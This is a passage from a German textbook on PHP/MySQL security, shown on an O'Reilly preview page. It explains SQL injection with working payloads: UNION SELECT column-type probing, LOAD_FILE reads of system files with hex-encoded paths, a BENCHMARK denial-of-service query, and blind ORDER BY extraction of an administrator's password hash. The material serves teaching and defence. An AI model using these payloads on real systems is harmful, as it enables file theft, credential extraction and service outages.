O'Reilly logo

PHP-Sicherheit: PHP/MySQL-Webanwendungen sicher programmieren by Stefan Esser, Christopher Kunz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

5 SQL-Injection 136
Angenommen, ID ist ein Integer und alle anderen Felder sind
Strings, dann sollten folgende Statements zu einem erfolgreichen Erra-
ten der Typen der Datenfelder führen.
1110344) UNION SELECT NULL,NULL,NULL,NULL FROM Users WHERE 1=2 /*
Kein Fehler. Das bedeutet, dass die Syntax stimmt.
1110344) UNION SELECT 1,NULL,NULL,NULL FROM Users WHERE 1=2 /*
Kein Fehler. Erste Spalte ist ein Typ »Number«.
1110344) UNION SELECT 1,2,NULL,NULL FROM Users WHERE 1=2 /*
Fehler! Zweite Spalte ist kein Typ »Number«.
1110344) UNION SELECT 1,'2',NULL,NULL FROM Users WHERE 1=2 /*
Kein Fehler. Zweite Spalte ist vom Typ »String«.
1110344) UNION SELECT 1,'2',3,NULL FROM Users WHERE 1=2 /*
Fehler! Dritte Spalte ist kein Typ »Number«.
1110344) UNION SELECT 1,'2','3',NULL FROM Users WHERE 1=2 /*
Kein Fehler. Dritte Spalte ist vom Typ »String«.
1110344) UNION SELECT 1,'2','3',4 FROM Users WHERE 1=2 /*
Fehler! Vierte Spalte ist nicht vom Typ »Number«.
1110344) UNION SELECT 1,'2','3','4' FROM Users WHERE 1=2 /*
Kein Fehler. Vierte Spalte ist vom Typ »String«.
Ziel erreicht: Wir kennen
die Datentypen.
Der Angreifer hat nun ein gültiges UNION SELECT-Statement. Dieses SQL-
Statement kann zum Auslesen von beliebigen Daten führen.
5.4 Advanced SQL-Injection
Im Folgenden sehen Sie noch weitere Möglichkeiten, eine Datenbank
anzugreifen, die über eine normale SQL-Injection hinausgehen.
5.4.1 LOAD_FILE
Die LOAD_FILE-Funktion von MySQL liefert einen String zurück, der
den Inhalt einer angegebenen Datei enthält. Ein Beispiel auf einem
Windows-Server:
SELECT LOAD_FILE('c:/boot.ini');
Systemdateien mit
LOAD_FILE
auslesen
Dieses SQL-Statement liefert den Inhalt der Datei boot.ini zurück.
Falls bei PHP in der Konfigurationsdatei
php.ini die Konfigurationsdi-
rektive
magic_quotes_gpc auf on steht, werden alle Anführungszeichen
mit einem Backslash maskiert. MySQL akzeptiert aber auch hexadezi-
mal codierte Strings als Ersatz für literarische Strings. Die beiden fol-
genden SQL-Statements liefern dasselbe Ergebnis zurück.
1375.4 Advanced SQL-Injection
SELECT LOAD_FILE('c:/boot.ini')
SELECT LOAD_FILE(0x633a2f626f6f742e696e69)
Hier ein Beispiel, wie man über eine SQL-Injection-Schwachstelle die
Datei
c:\boot.ini erhält:
http://mysql.example.com/query.php?user=1+union+select+load_file(0
x633a2f626 f6f742e696e69),1,1
Dies erzeugt folgende Ausgaben:
[boot loader] timeout=30 default=multi(0)disk(0)rdisk (0)pa 1 1
Wir erhalten nur die ersten Bytes der Datei boot.ini, da die UNION-
Anweisung das Ergebnis in der Länge des ersten Parameters des Origi-
nal-SQL-Statements zurückliefert. In unserem Beispiel sind das 60
Byte. Möchten wir nun die restlichen Bytes aus der Datei ebenfalls
bekommen, müssen wir uns mit der MySQL-Funktion
substring()
behelfen.
http://mysql.example.com/query.php?user=1+union+select+substring
(load_file(0x633a2f626f6f742e696e69),60),
1,1
Dieses SQL-Statement liest die nächsten 60 Byte (substring() ab der
Position 60) aus und gibt diese zurück. So muss man sich nun durch
die Datei arbeiten, bis man alle Daten erhalten hat.
LOAD_FILE arbeitet
auch mit binären Daten, also kann man sich auch binäre Dateien vom
Server übertragen lassen.
5.4.2 Denial of Service mit SQL-Injection
Ist das Auslesen von Daten mithilfe einer SQL-Injection nicht möglich,
ist der MySQL-Server vielleicht doch für einen weiteren Angriff anfäl-
lig. Denial-of-Service bedeutet, dass der Dienst nicht mehr oder fast
nicht mehr zur Verfügung steht. Dies wird mit »teuren« Requests
erreicht. Von »teuer« spricht man, wenn ein SQL-Statement sehr lange
dauert und dabei viel Prozessorzeit in Anspruch nimmt. MySQL hat
keine
sleep()- oder wait()-Funktion, deshalb muss man sich anders
behelfen.
Die
BENCHMARK
-Funktion
von MySQL
Die BENCHMARK-Funktion von MySQL testet die Zeit, wie lange ein
SQL-Statement zur Ausführung benötigt. Als Parameter erwartet die
Funktion die Anzahl der durchzuführenden Benchmark-Durchläufe
und eine Anweisung, etwa so:
SELECT BENCHMARK(100000000, sha1('test'));
5 SQL-Injection 138
Dieses Statement benötigt mehr als eine Minute zur Ausführung. Sie
können sich vorstellen, was passiert, wenn man dieses Statement
mehrmals, von verschiedenen Rechnern an einen MySQL-Server
schickt. Dieser stellt dann seinen Dienst ein und ist nicht mehr erreich-
bar.
5.4.3 ORDER BY Injection
Userlisten in Foren, Chaträumen oder anderen Applikationen sind
beliebte Ziele von Angreifern, da dort ein Zugriff auf eine User-Tabelle
erfolgt. Sind diese Listen auf Klick sortierbar, können diese angreifbar
für eine
ORDER BY-Attacke sein. Die folgende Query ist ein Beispiel aus
einem Forum:
mysql_query ('SELECT * FROM users ORDER BY '.$_GET['sortby']);
Hier wird per URL gesteuert, nach welchem Kriterium diese Liste sor-
tiert wird. Das ist der dazugehörige Aufruf:
http://www.forumsbeispiel.de/user.php?sortby=name
Meist werden die Passwörter gehasht in der Datenbank gespeichert.
Mit einer
ORDER BY-Attacke kann man nun diesen Passwort-Hash Buch-
stabe für Buchstabe auslesen.
http://www.forumsbeispiel.de/user.php?sortby=(id=1&&substring(pass
wd,1,1)=’0 ’)desc,id desc
Auf die Sortierung
kommt es an
Mit dieser Query erhält man keine Ausgabe des Buchstabens auf dem
Bildschirm, sondern die Liste wird anders sortiert. Der Ausdruck
(id=1&&substring(passwd,1,1)='0') wird, je nachdem, ob der erste
Buchstabe eine
0 ist oder nicht, zu TRUE oder FALSE evaluiert. id=1 ist die
erste ID in der User-Tabelle, meist ist dies der Administrator. Diese ID
können Sie natürlich durch jede andere gültige User-ID ersetzen. Lie-
fert dieser Ausdruck nun
TRUE zurück, steht der User mit unserer ausge-
wählten ID an erster Stelle – bei
FALSE ist er das nicht. Hierfür benötigt
man 15*32 Requests, also 480 Stück.
Um diese Anzahl zu reduzieren, kann man mit der MySQL-Funk-
tion
CONV() arbeiten, die Zahlensysteme konvertiert.
CONV ('A',16,2)
Zahlensystem-
Umwandlungen
verwenden
Dieser Ausdruck verwandelt ein 'A' aus dem Hexadezimalsystem in
einen Binärwert. Das Ergebnis ist 1010.
Bei unserem Angriff handelt es sich um einen MD5-Hash, also pro
Ziffer sind 4 Bits vorhanden. Diese werden mit dem logischen &-Ope-
rator verknüpft.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required